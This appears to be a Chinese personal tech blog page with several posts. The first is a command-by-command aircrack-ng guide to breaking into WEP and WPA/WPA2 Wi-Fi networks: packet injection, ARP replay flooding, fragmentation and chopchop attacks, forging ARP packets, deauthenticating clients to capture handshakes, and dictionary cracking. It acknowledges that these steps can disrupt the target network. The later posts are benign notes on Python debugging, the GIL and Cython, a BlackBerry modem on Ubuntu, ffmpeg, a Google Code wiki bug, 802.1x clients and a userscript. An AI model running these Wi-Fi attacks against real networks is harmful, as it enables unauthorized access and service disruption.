aircrack-ng 系列工具使用笔记

初始化工作

airmon-ng start wlan0 9

打开一个网卡监听设备,并设置到channel 9; channel可用iwconfig修改

airodump-ng mon0

无参数启动airodump-ng可查看所有接收范围内的AP、Client信息

aireplay-ng -9 -e (bssid) -a (AP Mac) ath0

测试注入攻击链路质量

airodump-ng -c (channel) --bssid (AP Mac) -w output ath0

监听AP在频道的所有数据包并保存到output文件,此步应在以下步骤提到airodump的时候执行

WEP:

aireplay-ng -1 0 -e (bssid) -a (AP Mac) -h (Host Mac) ath0

伪认证联机请求

aireplay-ng -1 6000 -o 1 -q 10 -e (bssid) -a (AP Mac) -h (Host Mac) ath0

伪认证联机请求并发送保持在线数据

airodump-ng -c (channel) --bssid (AP Mac) -w output ath0

监听收集

aireplay-ng -3 -b (AP Mac) -h (Host Mac) ath0

监听arp报文,一旦出现就不断将该报文重发,使目标机器产生实际回应数据,发回更多IV数据。
此时若有“内奸”,即有可控制的已经连接在目标网段的机器,ping一个网段内不存在的IP即可产生这样一个arp报文,接下来可以运行aircrack破解了。注意这个步骤可能会对目标局域网产生类似ARP洪水攻击一样的效果,网内数据延时丢包都很严重。

对于无机器连接的WEP

aireplay-ng -5 -b (AP Mac) -h (Host Mac) ath0

Fragmenation攻击,监听一个AP广播出来的数据包,并抽离有效的伪随机数据(PRGA),保存到fragment-XXXX-XXXXX.xor文件供下一步使用.
有时监听到的不是广播包,转发攻击后ap没有回应,一系列重试后程序会重新监听; 有时候可能需要不少时间,加-F参数可以自动应答。

aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0 

chopchop攻击,上述攻击不奏效可试,相同作用

packetforge-ng -0 -a (AP Mac) -h (Host Mac) -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request

根据fragment-0203-180343.xor文件的PRGA,产生arp请求包,保存到arp-request文件

使用-k 192.168.1.1 -l 10.255.255.255可使AP产生两倍的有效IV,192.168.1.1为确实存在的IP,通常的网关
使用-k 192.168.1.89 -l 10.255.255.255可使AP产生三倍的有效IV,192.168.1.89为确实存在的客户端IP

airodump-ng -c (channel) --bssid (AP Mac) -w output ath0

监听收集

aireplay-ng -2 -r arp-request ath0

不断注入上述产生的arp-request报文
这一步也会使目标网络接近瘫痪,极大延时,丢包。

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (AP Map) -h (Host Mac) ath0

上述产生、发送arp-request的步骤可由这一步替换,这是转发任何一个收到的有效数据包,方便,缺点是若数据包较大,转发过程较慢。还可使用-r capture-01.cap读取以前读取的有效数据进行转发注入。

aircrack-ng -b (AP Mac) capture*.cap 

解密

aircrack-ng -b (AP Mac) capture*.cap 

另一种解密算法

WPA/WPA2:

airodump-ng -c (channel) --bssid (AP Mac) -w output ath0

监听捕捉另外一客户端与ap之间的连接,上方出现WPA handshake: xx:xx...为成功

aireplay-ng -0 1 -a (AP Mac) -c (The Mac of a connected client) ath0

往已经连接到ap的一个客户端伪造一个离线包,使其离线重连以便捕捉handshake.
注意要收到ACK,才表明被攻击客户端收到,才会下线;发送离线不宜过密过多。

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 output*.cap

暴力破解。password.lst为密码字典,破解的成功率取决于字典的覆盖程度以及机器的速度。

Tags: , , ,

暂无评论

最简单方法远程调试Python多进程子程序

Python 2.6新增的multiprocessing,即多进程,给子进程代码调试有点困难,比如python自带的pdb如果直接在子进程代码里面启动会抛出一堆异常,原因是子进程的stdin/out/err等文件都已关闭,pdb无法调用。据闻winpdb、Wing IDE的调试器能够支持这样的远程调试,但似乎过于重量级(好吧前者比后者要轻多了,但一样要wxPython的环境,再说pdb的灵活可靠它们难以比拟)。

其实只需稍作改动即可用pdb继续调试子进程的代码,思路来自这个博客:子进程的stdin/out/err关闭了,那可以自己重新按/dev/stdout的名称打开来用。当然这指*nix下,win下要麻烦一些,后面再说。

pdb支持自定义输出输入的文件,我再稍作改动,使用fifo管道(Named Pipe)来完成pdb的输出输入的重定向,这样的好处是,可以同时对父子进程调试!

multiproces_debug.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
 
import multiprocessing
import pdb
 
def child_process():
    print "Child-Process"
    pdb.Pdb(stdin=open('p_in', 'r+'), stdout=open('p_out', 'w+')).set_trace()
    var = "debug me!"
 
def main_process():
    print "Parent-Process"
    p = multiprocessing.Process(target = child_process)
    p.start()
    pdb.set_trace()
    var = "debug me!"
    p.join()
 
if __name__ == "__main__":
    main_process()

只需要给pdb的构造参数传入stdin/stdout的文件对象,调试过程的输出输入就自然以传入的文件为方向了。这里需要两个管道文件p_in、p_out,运行脚本之前,使用命令mkfifo p_in p_out同时建立。这还未完成,还需要个外部程序来跟管道交互:

debug_cmd.sh

1
2
3
4
5
6
7
#!/bin/bash
 
cat p_out &
while [[ 1 ]]; do
    read -e cmd
    echo $cmd>p_in
done

很简单的bash。因为fifo管道在写入端未传入数据时,读取端是阻塞的(反之亦然),所以cat的显示挂在后台,当调试的程序结束后,管道传出EOF,cat就自动退出了。

实验开始:先在一个终端运行debug_cmd.sh(其实顺序无关),其光标停在新的一行,再在另外一个终端运行multiproces_debug.py,可见到两个终端同时出现了(Pdb)的指示符,可以同时对父子进程调试了!

在Windows下使用管道就没这么方便了,因为没有实体的管道文件支持,可以考虑使用socket的类文件对象传给pdb。但这样要写的python代码就多一点,以及要另外用做个交互程序;不过依然用不了多少代码,可以写成一个模块专门用做远程调试,import即用。暂未实现,以后有空弄好放代码出来。

Tags: , , , , , , ,

暂无评论

Python, C-Python, Cython代码与GIL的交互

这篇笔记相对Python来说,有点底层,先来解释几个名词:

C-Python: 或者CPython,指C实现的Python虚拟机的基础API。最通用的Python就是是基于C实现的,它的底层API称为C-Python API,所有Python代码的最终变成这些API以及数据结构的调用,才有了Python世界的精彩;

Cython:准确说Cython是单独的一门语言,专门用来写在Python里面import用的扩展库。实际上Cython的语法基本上跟Python一致,而Cython有专门的“编译器”先将Cython代码转变成C(自动加入了一大堆的C-Python API),然后使用C编译器编译出最终的Python可调用的模块。

GIL:Global Interpreter Lock,是Python虚拟机的多线程机制的核心机制,翻译为:全局解释器锁。其实Python线程是操作系统级别的线程,在不同平台有不同的底层实现(如win下就用win32_thread, posix下就用pthread等),Python解释器为了使所有对象的操作是线程安全的,使用了一个全局锁(GIL)来同步所有的线程,所以造成“一个时刻只有一个Python线程运行”的伪线程假象。GIL是个颗粒度很大的锁,它的实现跟性能问题多年来也引起过争议,但到今天它还是经受起了考验,即使它让Python在多核平台下CPU得不到最大发挥。

GIL的作用很简单,任何一个线程除非获得锁,否则都在睡眠,而如果获得锁的线程一刻不释放锁,别的线程就永远睡眠下去。对于纯Python线程,这个问题不大,Python代码会通过解释器实时转换成微指令,而解释器给他们算着,每个线程执行了一定的指令数后就要把机会让给别的线程。这个过程中操作系统的调度作用比较微妙,不管操作系统怎么调度,即使把有锁线程挂起到后台,尝试唤醒没锁的,解释器也不给他任何执行机会,所以Python对象很安全。

所以一般来说,做纯Python的编程不需要考虑到GIL,它们是不同层面的东西,但是模块级别的C-Python、Cython等C层面的代码,跟Python虚拟机是平起平坐的,所以GIL很可能需要考虑,特别那些代码涉及IO阻塞、长时间运算、休眠等情况的时候(否则整个Python都在等这个耗时操作的返回,因为他们没获得锁,急也没办法)。

想体现这个过程,很简单,考虑下面的代码,一段纯Python和一段纯C的循环,每次print一段文字就睡眠一秒。

1
2
3
4
5
6
7
void _c_loop ( void )
{
    while(1) {
        printf("Print from C loop\n");
        sleep(1);
    }
}
1
2
3
4
def _py_loop():
    while True:
        print "Print from Python loop"
        time.sleep(1)

先不管他们是如何揉合到同一Python进程里面,两个进程分别执行了这两个函数后,他们应该以大概相互间隔着输出文字;但实际情况是,Print from Python loop这句出现了一次之后(先启动了纯Python线程,否则它连启动的机会都没),剩下的输出全都是Print from C loop,不断的输出,按Ctrl + C都没反应(因为响应信号的只有住线程,终止信号是发出了,说不定主线程也收到了,但是解释器不给机会),只好从另外的控制台kill了整个python进程。

显然问题在于,运行C那段程序的进程获取了GIL,但是这是个死循环是永远都出不去的,所以GIL永远都在这个进程手里,别的进程只能睡觉。考虑到这个C程序的情况,因为循环里面只有printf跟sleep两个操作系统的调用,完全威胁不到Python对象的安全,所以GIL完全没必要插手进来。解决办法有两种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void _c_loop_1 ( void )
{
    Py_BEGIN_ALLOW_THREADS 
    while(1) {
        printf("Print from C loop\n");
        sleep(1);
    }
    Py_END_ALLOW_THREADS
}
 
void _c_loop_2 ( void )
{
    while(1) {
        Py_BEGIN_ALLOW_THREADS
        printf("Print from C loop\n");
        sleep(1);
        Py_END_ALLOW_THREADS
    }
}

Py_BEGIN_ALLOW_THREADS、Py_END_ALLOW_THREADS是定义在Python的C-API头文件里面的宏,需要给头文件包含上#include

两个解决办法看起来差不多,效果也差不多,但意义不大一样。

_c_loop_1是在进入永远都不会停的循环之前,把GIL交出去(还有保存自己的线程状态,但现在的例子这个没有意义),然后自己继续运行,这时候_c_loop_1是跟python虚拟机是互不相关的线程了,井水不犯河水,解释器的GIL爱给谁给谁。这时候“Python只能有一个线程运行”的传说就被破除迷信了。

_c_loop_2则是每次进行printf/sleep的调用前交出GIL,之后又申请要回来,然后循环回去马上又交出去(=。=)……

这个例子来说,当然是前者有效率了(=。=反正都是无用功,何来效率),只是为了在复杂的情况(C代码会影响Python对象,调用Python的函数等)下灵活运用。Py_BEGIN_ALLOW_THREADS、Py_END_ALLOW_THREADS其实只是两句语句的宏包含,Python手册里面有详细说明,甚至直接打开Python的include就可以看到。其中BEGIN那句调用了PyEval_SaveThread(),而打开Python源码,PyEval_SaveThread函数里面毅然有PyThread_release_lock()的调用。

上面这些,在《Python源码剖析——深度探索动态语言核心技术》一书,第15章Python多线程机制 15.4.2阻塞调度一节讲解得比较详细,书里面是直接拿出time.sleep/raw_input这些Python本身的代码来举例和分析。当然咯,本文加入了很多PT自己的发散性理解。

Cython在旁边说,怎么还没到我出场。恩,马上就来。

Cython其实是很纠结的东西,因为他用的是Python一样的语法,但经常不得不时时刻刻提醒自己,有时候是在写C,有时候在写Python(=。=)。C是强类型的,Python是弱类型的,所以写Cython的时候有时候是强类型的,有时候是弱类型的,一般变量还好,你可能会想一下类型,像我刚入门,经常把漏写参数类型,不过还好Cython的编译器是有提示的,当熟悉了规则后,用Python写C啊……通过Cython,不仅可以在Python调用C,还可以在C调用Python……Python的上天入地就靠他了。

Cython代码最终都是会编译成C的,上面例子那段py_loop,改个名字叫cy_loop吧,直接放入Cython里面编译即可,他完全会变成C,然后变得像C一样霸道,执行后拿了GIL永远不还回去。

显然,只有纯Python的代码需要在执行时候经过解释器解释的,才会“自动的”交回GIL,而Cython是编译成C的代码,执行不经过解释器,如果他不交回GIL,就拿它没办法的了。

Cython是留有GIL的交互接口,在Cython手册里面加起来才半页的说明,语焉不详地介绍了Cython下跟GIL的交互方法,如果没理解上面GIL的工作方式,像我那样把这两页翻烂了都看不懂的。像刚才的例子,cy_loop可以写成这样:

1
2
3
4
5
def cy_loop():
    with nogil:
        while True:
            printf("Print from Cython loop\n")
            sleep(1)

就是用with nogil块把循环围起来,对,就加一行。如果打开Cython转换而成的C代码,发现Cython用Py_UNBLOCK_THREADS和Py_BLOCK_THREADS把这段循环括起来了,查看Python C-API,Py_UNBLOCK_THREADS跟Py_BEGIN_ALLOW_THREADS其实是一样的,只差一个花括号。不过Cython还会盯着你在nogil块里面的代码,里面不能引用Python对象,不能调用Python的函数,要画清界线!啊我只是调用个printf跟sleep,人格保证这是C库的函数!可是这样Cython还是不让过,说在nogil里面不能调用需要gil的函数,恩,printf跟sleep是通过cdef预定义的,Cython可不知道这些函数是哪里的,就默认它们需要gil了。所以要在cdef引入的时候,在后面加上nogil的声明:

1
2
3
cdef extern from *:
    unsigned int sleep(unsigned int seconds) nogil
    int printf(char *format, ...) nogil

嗯,就这样,Cython编译器终于高兴了。

Cython里面关于GIL的另外一个接口是:

1
2
cdef void callback_func(void) with gil:
    ...

Cython会生成PyGILState_Ensure()的调用,来保证这个函数在线程获得锁的时候才运行。这个情况一般是用于C的回调函数,因为回调运行是不知道什么时候的,如果这个函数里面有对Python的引用,就需要保证获得了GIL才操作。又或者你在C代码里面又生成了新的线程,而且也会引用Python的东西(纠结……)。

本文例子代码包可这里下载,或Google Code在线查看;例子里面是分别是Python、Cython、C三个循环,因为有Cython的GIL接口,C代码里面就没有使用API的宏了(注释掉)。例子里面添加了全局变量end,主线程进入pause后按Ctrl + C触发使其为真,然后三个线程会相继退出。例子在linux下编译,如在win下编译可能要修改下C代码里面的sleep,以及signal.pause()。

例子代码运行效果:

Tags: , , , , , , ,

评论 (1)

Ubuntu 下使用蓝牙/USB连接黑莓8700上网

黑莓8700支持EDGE网络,用来做GPRS Modem是相当理想的,标准的mini usb接口,蓝牙2.0,完全足够EDGE的网络速度;

本来以为用蓝牙连接会很简单,在blueman里面连接即可,可是实际上,不行:

Failed: Modem Manager did not support the connection

之前用blueman连接Nokia的机,是没问题的,看来黑莓的Modem协议有点不同……Google了一下,找到了不少BB在Linux下的资料:
How use BlackBerry device with Linux【介绍了Linux对黑莓的配置、同步、安装软件、Modem、Java开发】
how to teather blackberry and linux via bluetooth【连BB蓝牙的完整过程,试验不成功】
Berry4all 通过USB连接BB Modem的专用程序

测试Berry4all终于能够连接上BB的GPRS,观察Berry4all其实也是建立了串口通信后,使用pppd的协议来建立数据链接的,要连接cmnet,还得修改其conf下的att-chat,即其中的“拨号”协议;

blueman虽然不能建立Modem链接,但是还是能够建立起/dev/rfcomm0,即通过蓝牙的串口链接;使用蓝牙教程,基本上都是使用hcitool等工具来配置的,使用起来真的好不方便,而blueman不是刚好帮忙搞定了蓝牙的配对连接等麻烦事情么……

于是把Berry4all的conf目录的att跟att-chat文件复制到/etc/ppp/peers,参照别的教程的配置,修改att,在开始115200那行前,加入nodetach跟/dev/rfcomm0两行,最后的connect调用chat文件的路径改成connect "/usr/sbin/chat -f /etc/ppp/peers/att-chat",att-chat里面修改一行:OK 'AT+CGDCONT=1,"IP","cmnet"' ,最后运行sudo pppd call att,终于用蓝牙连上了GPRS;

其实使用ppp连接modem的方法是最传统的,也是高度可定制(如连接后配置路由表、IP、DNS),不管是用Cable、USB、蓝牙还是红外,都可以这样完成,Of Linux, GPRS Phones, Serial Cable, Irda, Bluetooth and USB文章里面列举了好多这些例子;我修改了其中的三个脚本:gprs, gprs-connect-chat, gprs-disconnect-chat替代了上面Berry4all的att脚本,因为这脚本里面的注释非常详细,以防以后需要的调整;

这是我打包了修改好后(适用于移动CMNET上网的)gprs脚本,使用blueman连接了rfcomm0后,运行sudo pppd call gprs,就能连接上GPRS,ifconfig查看出现一个ppp0,可以直接上网了;

如果不使用blueman,完全使用bluez的工具的话,可以参照Blackberry Curve 8310 as Bluetooth Modem on Ubuntu Hardy,我没测试,不过按理说是可行的。

之所以这么折腾,其实可以说blueman的一个bug吧,似乎BB的Modem没啥特别,按通用的Modem都能连接到;有时间看看blueman的代码看能不能弄好……

Tags: , , , , ,

暂无评论

ffmpeg API 笔记:使用libavcodec/libavformat/libswscale

Update 2010.1.5: 其实研究ffmpeg不用找什么教程,第一步应该是下载ffmpeg的源码包。下面提到的An FFmpeg and SDL Tutorial确实有讲解,但是教程总是跟不上代码的变化的,所以直接看可工作代码最好;ffmpeg的结构很分明,后台是几个库:libxxx,前台是三个程序ffmpeg, ffplay, ffserver,那篇教程说的就是ffplay的实现。一个播放器,其实重点不是解码,解码的东西是lib去做的,主要是做声音视频的时钟同步。ffplay的代码可以说是一个可用播放器最简单的实现了,源码里面有个output_example.c,可以说是最基本的api示范吧。ffmpeg是转换编码解码转换程序,因为涉及重新采样等等,所以代码量也不少的。


这两天"调研"了下ffmpeg的API,不得不承认被雷倒:ffmpeg又是一个很geek的项目,纯社区开发,基于逆向,功能强大,但是文档极度有限,想了解API?看源码去…… 网上关于ffmpeg API的资料,无非是ffmpeg文档里面的两个链接,Using libavformat and libavcodec by
Martin Böhme(以及其Update,介绍了新引入的API)跟An FFmpeg and SDL Tutorial
by Stephen Dranger;两个tutorial基于ffmpeg 0.4.8,现在ffmpeg发布的版本是0.5.0,好像数值相差不大,不过0.4.8是5年前的了(相比之下wine用了15年版本号才到达1.0,有过之余无不及),两个教程里面的代码在0.5.0下一编译,哇,一堆错误,可不仅有些api函数变了,有些结构成员压根就没了,头文件的位置更是不一样(各个库分家了)……所以我调试了好几个小时,终于把例子的代码弄好(其实Martin Böhme那篇有一段09年加入的更新说明,链接了有相关的解决办法,我一开始没注意,几个小时自己解决,不过也有收获)。

最后我调试好的代码流程:打开一个视频文件,抓取前5帧保存为文件;
基于Stephen Dranger的Tutorial1源码在此:GoogleCode

av_register_all();//初始化ffmpeg库,如果系统里面的ffmpeg没配置好这里会出错
av_open_input_file();
av_find_stream_info();//查找文件的流信息
dump_format();//dump只是个调试函数,输出文件的音、视频流的基本信息了,帧率、分辨率、音频采样等等
for(...);//遍历文件的各个流,找到第一个视频流,并记录该流的编码信息
sws_getContext();//根据编码信息设置渲染格式
avcodec_find_decoder();//在库里面查找支持该格式的解码器
avcodec_open();//打开解码器
pFrame=avcodec_alloc_frame();//分配一个帧指针,指向解码后的原始帧
pFrameRGB=avcodec_alloc_frame();//分配一个帧指针,指向存放转换成RGB后的帧
avpicture_fill(pFrameRGB);//给pFrameRGB帧加上分配的内存;
while true{
     av_read_frame();//读取一个帧(到最后帧则break)
     avcodec_decode_video();//解码该帧
     sws_scale();//把该帧转换(渲染)成RGB
     SaveFrame();//对前5帧保存成ppm图形文件(这个是自定义函数,非API)
     av_free_packet();//释放本次读取的帧内存
}
avcodec_close();
av_close_input_file();

用到的API就这么多,当然实际代码稍复杂一点;ppm图像是类似BMP的非压缩格式,SaveFrame就是相当于把pFrameRGB的内存拷贝进文件,写文件并不复杂;

调试过程的问题,首先是头文件,ffmpeg 0.5.0的API已经拆分成好几个独立的库,用pacman -Ql ffmpeg看了下文件分布,在include下好几个目录都是它的,看名字可以大概猜出他们的功能:

libavcodec:CODEC其实是Coder/Decoder的缩写,也就是编码解码器;
libavdevice:对输出输入设备的支持;
libavformat:对音频视频格式的解析
libavutil:集项工具;
libpostproc:后期效果处理;
libswscale:视频场景比例缩放、色彩映射转换;

修改好头文件包含,终于少了些not declared错误;

Martin Böhme那篇教程的代码是使用g++编译的,虽然代码是C风格;在我修改了头文件以及一些错误之后,居然链接出错,av_register_all什么的函数统统undefined reference,想到ffmpeg是纯C实现,以及以前用g++编译GTK出现回呼函数找不到的经历,相信又是g++的function mangling搞的,Google了一下,解决方法是把几个头文件包含在exterc "C"里面

代码里面的错误还涉及一些结构成员的变化,比如

pFormatCtx->streams[i]->codec.codec_type==CODEC_TYPE_VIDEO

就有个类型错误,因为0.5.0里面的codec已经是指针,而不是结构了,要把.换成->,而相应地获得解码器指针,不再需要&:

pCodecCtx=&pFormatCtx->streams[videoStream]->codec;

原教程提到一个视频码率的rate的Hack:

    // Hack to correct wrong frame rates that seem to be generated by some codecs<br />    if(pCodecCtx->frame_rate>1000 && pCodecCtx->frame_rate_base==1)<br />        pCodecCtx->frame_rate_base=1000;

好吧现在frame_rate跟frame_rate_base压根就没了,去掉算了;

最麻烦的变化还是原代码里面的img_convert,就是解码出一个帧的数据后,需要转换成RGB格式才能写入文件,然而这个函数在0.5.0里面彻底没了。尝试把img_convert完全注释掉,把原始帧img_convert写入文件,还算可喜的是能够看到图形,只是被分成三个画面的通道图形罢了;

Google了一番,还是回到 Stephen Dranger的An FFmpeg and SDL Tutorial第八节,介绍了swscale的接口,虽然里面的例子是转换成SDL所用的YUV,而不是RGB;注意到其使用的参数PIX_FMT_YUV420P,跟img_convert所用的PIX_FMT_RGB24有相同前序,就试试照样花虎了;
给sws_getContext传入源格式的H/W,格式,输出格式的H/W,PIX_FMT_RGB24格式,其中有个参数flags的解释是 specify which algorithm and options to use for rescaling,是选择在缩放过程中是使用线性还是双立方等算法(参数文档没说,要找看源码去),这里照抄了例子里面的SWS_BICUBIC。获得这个SwsContext,类似python的re.compile,再用这个转换器去转换每一个帧,所以后面每次解码了帧后,调用sws_scale,跟原来的img_convert倒是挺像;

也就是说,以后如果需要对视频进行4:3跟16:9的转换,就是在sws_getContext的参数里面做设置了;

最后整个程序正常,会把视频的前5帧抓成图像了,只是会有个小警告:

[swscaler @ 0x1d8f670]No accelerated colorspace conversion found.

估计是转换成RGB,swscale里面没有特别优化的算法?

目前发现程序运行的时候CPU占用很高,是因为程序还没有控制帧速的时钟,只会用尽CPU的性能不断的读取解码;

PT修改过可编译通过(ffmpeg 5.0/gcc 4.4.2/ubuntu 9.10)的前三个Tutorial代码可在Google Code查看下载。(编译方法请看各个文件头部的注释说明)

Tags: , , , ,

暂无评论

Google Code项目Wiki页在SVN仓库被复位后无法修改的Bug

update:2010.1.25这个问题的状态终于被改成Fixed。

Google Code的项目控制因为其简洁深受很多开源作者的喜欢,PT好几个项目都是存放在Google Code上,不过之前遇到了一个些少恼人的Bug:

当建立了Wiki页,因为某种原因重置了SVN仓库,那原来的Wiki页将无法修改、无法删除(返回500 Server Error)。

重置SVN一般属于特殊情况,比如要把另外一个服务器的SVN仓库搬到另外一个SVN,而只保留后来的版本数据,才需要重置SVN仓库。我当时的情况是,不小心把包含自己帐号密码的测试脚本提交了上去SVN;版本管理的特点是版本修改是无法被抹除的,情急之下只好放弃版本痕迹,备份了文件,请求了SVN重置;之后就发现原先的Wiki页无法修改了。

一番查找后,发现Google Code自身的Support里面早有人发现了这个问题,可以看到,这个Bug第一次在2007年11月就有人提出了,一直到现在都陆续有人确认Bug依然存在……所以当时我就没管那个有问题的Ghost Page了,任其放着;两年都没有修复的bug看了没什么好指望的了;

不过最近这个问题有人提出了个颇为纠结的解决办法:创建wiki/the_page文件(跟之前的wikipage同名),然后不断修改递交svn,当svn的revision版本号高于重置之前wiki page最后修改的版本号,就可以修改或者删除这个Ghost Page了……

想到我那个项目现在的版本号早就超过了之前重置SVN仓库时候的版本号,直接跑去wikipage点Delete this page,哈,直接搞定了!

从这个Bug可以透视到Google Code的Wiki页构建机制:Wiki页跟SVN仓库内相应文件是紧密互动的,在Web对Wiki页的修改就相对于直接提交了相应SVN内的文件,当直接修改SVN内的Wiki文件时候,Web上的Page自动根据SVN刷新WEB页的缓冲,并记录文件的修改版本号;而重置了SVN仓库将导致SVN的版本号从0重新开始,这样Wiki页的缓冲模块没法找到相应的版本号对应的wiki文件进行操作,所以报告500错误;只能当版本号重新达到原先的最后修改时,Wiki Web才能正常的和SVN交互。

另外有趣的是,Google的程序员似乎对修复这个Bug没什么兴趣;可能容易引起新的bug吧,呵呵。

Tags: , , , , ,

评论 (2)

锐捷/联想/神州数码 802.1x客户端支持MacOS、BSD

Insion同学之前发来一段可以在MacOS/BSD编译运行获取网卡MAC地址的代码,于是整理了一下,让几个802.1x Client都能支持MacOS/BSD了。

下载了个FreeBSD 7.2在vbox虚拟机里面装了下,发现FreeBSD比Linux好像原始多了[呃,我说安装程序],分区的时候他不叫Create Partition,叫Create Slice,我对着界面看了半天才猜到,囧;退出那里写着:Q = Finish,Quit就Quit嘛,什么Finish,纠结……但还好,其他的配置跟Linux还是很相像的,调试了一下就有了全可编译的代码了。

代码部分修改倒没多少,就添加了一个专门给BSD系系统获取MAC的函数,再用maroc判断一下,以及几个头文件,就完事了,有点麻烦的是makefile,发现freebsd默认那个make好像是很古老很古老的版本,我程序里面那个Makefile是用了vim里面c-support插件里面带的Makefile模板,有点复杂,但是freebsd居然不支持!所以整理了个简单的版本,专门给MacOS/BSD编译,也方便别人的修改;另外一个原因是,程序里面转换服务器消息时候用了iconv库,linux里面iconv是系统内嵌库来的,用不着链接的时候给出参数,但MacOS/BSD偏偏就要-liconv……

需要编译MacOS/BSD版本的同学,可以check出项目里面trunk的代码,运行make -f Makefile.bsd来编译。Insion同学已经编译成功,而且在他的主页上有二进制版下载了。

相对的说,可能在MacOS里面编译是最麻烦的,我大概说说流程(实际上我没试过,我可没Mac机器[T.T])

1.安装gcc,参考这里http://connect.apple.com/的Dev Tools里面下载Xcode Tools,安装。
2.编译安装libpcap,从http://www.tcpdump.org/release/libpcap-1.0.0.tar.gz下载源码,tar xvfz libpcap-1.0.0.tar.gz解压,进去该目录,./configure、make、make install安装完成;
3.编译802.1x客户端,从所用项目内签出源码,在目录内make,没出什么差错的话,已经完成了。然后按Readme.txt的方法安装运行,即可!

项目主页

锐捷:http://code.google.com/p/zruijie4gzhu/
联想:http://code.google.com/p/zlevoclient/
神州数码:http://code.google.com/p/zdcclient/

Tags: , , , , , ,

评论 (17)

油猴脚本Twitter Picture Preview支持中文推特圈、官方Twitter

油猴脚本:Twitter Picture Preview

Feature: Adding preview thumbs right after a short url to an popular image-service site in twitter.
功能:给twitter内包含指向图片服务的网址加上该图片的缩略图。

客户端支持/Client Supports:
twitter.com / itweet.net / twitese.appspot.com

图片服务支持/Image-Service Supports:
twitpic / flic.kr / moby.to / yfrog / ts1.in / hellotxt.com / twitxr.com / twitgoo.com

维护了一下之前写的油猴脚本:Twitpic in itweet,从另外一个相同功能的脚本TwitterPhotoShow的代码,通过监控items容器的DOM的事件DOMNodeInserted、DOMSubtreeModified来相应内容的变化,这样就可以把原来的定时器什么一大堆的代码去掉了;

同时利用了一下javascript的对象特性,原先的代码可能看起来还跟C类似的,重写一下语法看起来好像差很远了……改写的好处是添加新的图片服务处理就容易多了。比如一个处理器是这么写的:

1
2
3
4
5
6
7
img_processor['ts1in'] = {
    reg: /ts1\.in\/(\d+)/,
    func:function (url_key, url_elem) {
        var src = "http://ts1.in/thumb/" + url_key[1];
        append_image (src, url_elem);
    }
};

所以新版里面添加了一大堆从TwitterPhotoShow里面抄来,我都没见过的图片服务;虽然TwitterPhotoShow没有支持最近在推上很流行的flickr跟moby.to,可能因为api相对麻烦一点吧!

Tags: ,

暂无评论

Page 1 of 1612345...Last »